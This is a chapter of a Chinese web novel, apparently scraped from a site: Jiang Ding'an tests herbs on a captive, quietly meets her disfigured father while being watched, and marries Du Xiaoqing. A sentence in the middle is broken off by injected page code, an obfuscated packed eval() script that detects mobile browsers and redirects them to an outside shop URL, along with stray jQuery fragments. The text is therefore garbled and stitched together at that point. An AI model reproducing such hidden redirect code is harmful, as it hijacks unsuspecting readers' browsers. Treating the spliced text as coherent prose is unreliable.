白梦之蜷在角落,抬头仰望着江定安,经过这段时间的相处,他早已认出她正是那日从柜中走出的仙子。
只是这仙子并不柔顺怯弱,反倒强硬果决,他之前不过是摔了几碗药,便被她断了整整三日的水粮。
江定安淡淡地看着白梦之,她的眸光极淡,透着冰冷与轻蔑的意味。
直看得白梦之抓起药碗,咕噜饮下,又扯下晾在一边的草药吞进口中,末了,张口,邀功似的展示自己舌下的草药。
江定安略瞥了一眼,并不细看,左右白梦之也不敢在她面前阳奉阴违。
据她观察,白梦之的气色好了一些,也不似从前那般阴郁苍白,勉强有了些许血色。
说明这些双面生齿的草药确实有作用,只是到底有多少作用,对哪些人起作用,还需更多的人供她观察。
至于白梦之,对她来说已经没什么用了。
江定安垂眸,看了一眼手中的册子,上面详细地记录着这段时间白梦之服药之后的种种表现。
她直觉珠崖郡的煎香饮可能与当年的十里香案有着千丝万缕的联系,若是能找到记载着当年中毒香之人的卷宗,与这本册子相互对照,或许能找出其中相通之处。
要想找到当年的卷宗,无非是从两处入手,一是在官署库房,二是昔日那些守护沉香树的香农,他们亲身中过这种毒,必定知道毒发时会有何种症状。
只是当年中毒的香农聚集的那片屋舍已经荒废许久,唯一留下来的李掌柜神志不清,无法从他口中得到更多的线索,即使得到,他说的话也不能作为证词呈上公堂。
江定安这样想着,随即离开了倒座房,还不忘锁上了窄门。
杜筱清说此番回来,乃是受命追捕命案逃犯,江定安原本半信半疑,如今却发觉他说的竟是真话。
这几日城中看似一如往昔般平静无波,她却留意到不少打扮低调的人混迹在普通百姓中,行色匆匆,看起来好似在搜寻着什么。
想到杜筱清意有所指的描述,江定安心下微窒,她压下心里翻滚的念头,像平常一样处理着手中事务。
这日傍晚,她唤伙计将蓝行灯挂上香坊堂前,聚兰斋的旗幡在黄昏的微风中轻轻曳动,轻盈的绢布上面游动着一片朦胧的烛光。
一个衣衫褴褛的老乞丐在聚兰斋门前站定了,他呆呆地凝视着一只高挂的蓝行灯,头上罩着一片破布,将面庞全部罩在阴影里,看不清表情,不知到底在想什么。
聚兰斋的伙计为了赏钱,都十分卖力地揽客,即使见他只是一个破落的乞丐,还是笑着迎上去,“老人家,要不看看我们家的香包?最便宜的只要两枚铜板。”
伙计凑近了才发现那老乞丐生得面目可怖,皮肉好似被火燎过一般,十分吓人。他何曾见过这样形如恶鬼的面孔,不由地惊叫了一声,下意识退开几步。
江定安正在门外指挥摆灯,随时根据风向改编悬灯的位置,免得行灯中的烛火被吹熄。
听到不远处传来伙计的惊叫声,她连忙走过来,正好看见那老乞丐慌忙逃窜的背影。
她似有所感,连忙追了上去,待绕到他面前,看见老乞丐用双手拽着破烂不堪的麻布,拼命遮着脸。
江定安何其喜洁的一个人,她陡然伸手拉住了他,低声道:“老先生,我请您喝杯茶吧。”
老乞丐没有说话,他只是一味地捂着脸,不敢看她,目光里都是慌张。
他像是生怕伤了她,不敢用力挣开她的手,只是稍微挣扎了一下。
他很瘦,好似一截轻飘飘的枯枝,随时可以折断他。
江定安抓着他的手,只觉自己攥住了一把瘦削伶仃的骨头,她心下一片苍凉,硬是拉着他来到聚兰斋附近的食肆,一口气点了一桌子菜,又想到他多年不曾正经吃过一顿饭,肠胃虚不受补,便换了热粥和炙肉。
老乞丐默默地吃着热粥,他面容可怖,食肆的店家却不以为意,上前将几样小食放在木几上,也不拿银子,只是站在不远不近的地方观望着。
望着原封不动的银子,江定安不露痕迹地侧目,悄悄地瞥了那店家一眼。
她静默地看着近在咫尺的老乞丐,看他脸上火燎的印记,看他苍老疲惫的神情,一时百感交集。
父女之间,多年不见,好不容易得以重逢,谁曾想,这一切的美好不过是旁人诱她暴露身份的食饵。
老乞丐显然也是意识到了什么,他草草吃了几口热粥,眼泪紧跟着落进粥中。
他流着泪,无声地吃着,江定安则静静地看着他,不一会儿碗便空了,她正要唤店家为他再添一碗,他却放下箸子,用浑浊的眼睛看着她,目光中蕴含无数难言的情绪。
陡然间,老乞丐扑腾一声跪下,口中止不住地念着:“娘子真是好心人,谢谢您了……”
江定安有些生疏,也有些无措,她眼里带着对于陌生穷苦人的同情,似乎一些还有藏得极深的情绪。
她疾步扶住老乞丐,从兜里掏出钱袋,塞进他的手中,“老人家,千万保重身体,一切都会好起来的。”
老乞丐掂了掂钱袋,似乎十分满意这重量,顿时破涕为笑,就这么半哭半笑地看着江定安,连声道谢。
江定安看着老乞丐的背影,摸了摸空荡荡的袖囊,脸上流露出明显的后悔之意,转身回到聚兰斋。
躲在暗处观察这一切的人互相对视一眼,皆在对方眼中看出了不解:“此女没有认出他,还是家主猜错了,其实他们根本毫无瓜葛?”
这厢,江定安回到聚兰斋中,看见正在调整行灯方位的伙计,淡淡道了一句:“不必再调了。”
伙计们便依言取下灯笼,本来这行灯能照明即可,挂在外头,又给谁看呢?
-
时间弹指而过,就连江定安也没想到,大婚这一日,竟然来得这样快。
杜筱清大抵是完成了明太守所托,本来打算不日返回珠崖郡,协助珠崖郡的官署机构一并溯源调查煎香饮。
谁知这时,白夫人陡然病了,为了冲喜,婚期被骤然提前。
短短几日发生了许多事,江定安身下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546021|140649||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的喜舆很是平稳,几乎没有任何晃动,耳畔翻涌着许多喧嚣嘈杂的声响,锣鼓喧天,声乐齐鸣。
甚至能听见随行的侍从沿路派发六色礼的动静,围观的百姓喜气洋洋地伸着手,口中念着早生贵子百年好合之类的吉祥话。
这些祝福的话语带着亲切的口音,或是年迈,或是稚嫩,好似浪潮,不住地在耳边涌现。
江定安以石黛描了眉,一对盈盈若远山的小山眉更浓了几分,眉下两丸圆融光亮的黑眸熠熠生辉,面上略敷薄粉,宛如剥壳荔枝一般莹然生光的两颊透出微微的红晕。
她手上举着大红喜扇,用扇面轻轻拨开重重叠叠的车帷,眸光向下,看见地衣上放着一只软杌。
她身上的嫁衣穿金镂凤,在四面煌煌的烛光映照下,放着金光,繁重的八幅裙摆上面的珠玉相击,清灵悦耳。
透过朦胧的扇面,看见同样穿着大红喜服的杜筱清朝她伸手,那只手掌色泽似玉,骨节分明的手指根根分明,在夜色中泛着清冷的光。
如今已经入了秋,黄昏的风箫瑟寒凉,江定安猜想他的手大约是冷的。
她凝睇着那只手,随后握了上去,指尖相触,一阵奇异的触感倏时间过遍全身上下。
霎那间,关于这只手的记忆在眼前迅速闪过。
天柱山初见,杜筱清用这双手夺刀杀马,又用干净的手将求援的旗花递给她。
在珠崖郡的峭崖边,他用这只手将她一齐拽下深渊,在阴森黑暗的岩洞中,彼此讥讽,又不得不彼此依偎取暖的情景浮在她的脑海中。
那种如同火炉般滚烫炙热的温度在今日,再次通过这只手传到她的肌肤上,几乎就要点燃她内里的脏腑。
这种古怪奇异的温度,随着他们十指相扣,似乎正在无形地开温。
有那么一瞬,江定安几乎想要甩开他,以此逃避这种令人战栗的温度。
在众目睽睽之下,她到底还是没有这么做,就这么牵着手,在杜筱清的搀扶下,从容地下了喜轿。
经过一系列繁琐的仪式,二人一齐向长辈叩首,杜问璋默不作声地饮着茶,他似乎在盯着扇后的江定安,目光慢慢地放空。
许是还在病中,白夫人并没有到场。
等到各项仪式结束,江定安坐在惊蜇楼的正厢房中。
在这里听不见前院热闹的声响,仿佛世界在这一刻寂静了下来,静得可以听见鸟雀的啁啾声。
这身嫁衣是江怜群点灯熬油,夤夜缝制而成的。
江定安生怕弄脏了,左右此处无人,她便褪下繁重华丽的嫁衣,只着里衣,披着素袍,坐在床头。
她本以为杜宅装潢处处都透着奢靡,杜筱清居住的惊蜇楼亦是如此,今日一见,才发现此处很是雅致清幽。
透过窗棂,可以看见庑廊下种着一簇簇鲜活的柳柳枝。
屋中除了必要的陈设之外,并无其他多几余的雕饰。
正在江定安打量周围时,门扉陡然被推开,来人身着喜袍,眉眼沉静,幽深皎洁的的月光自他身后而来。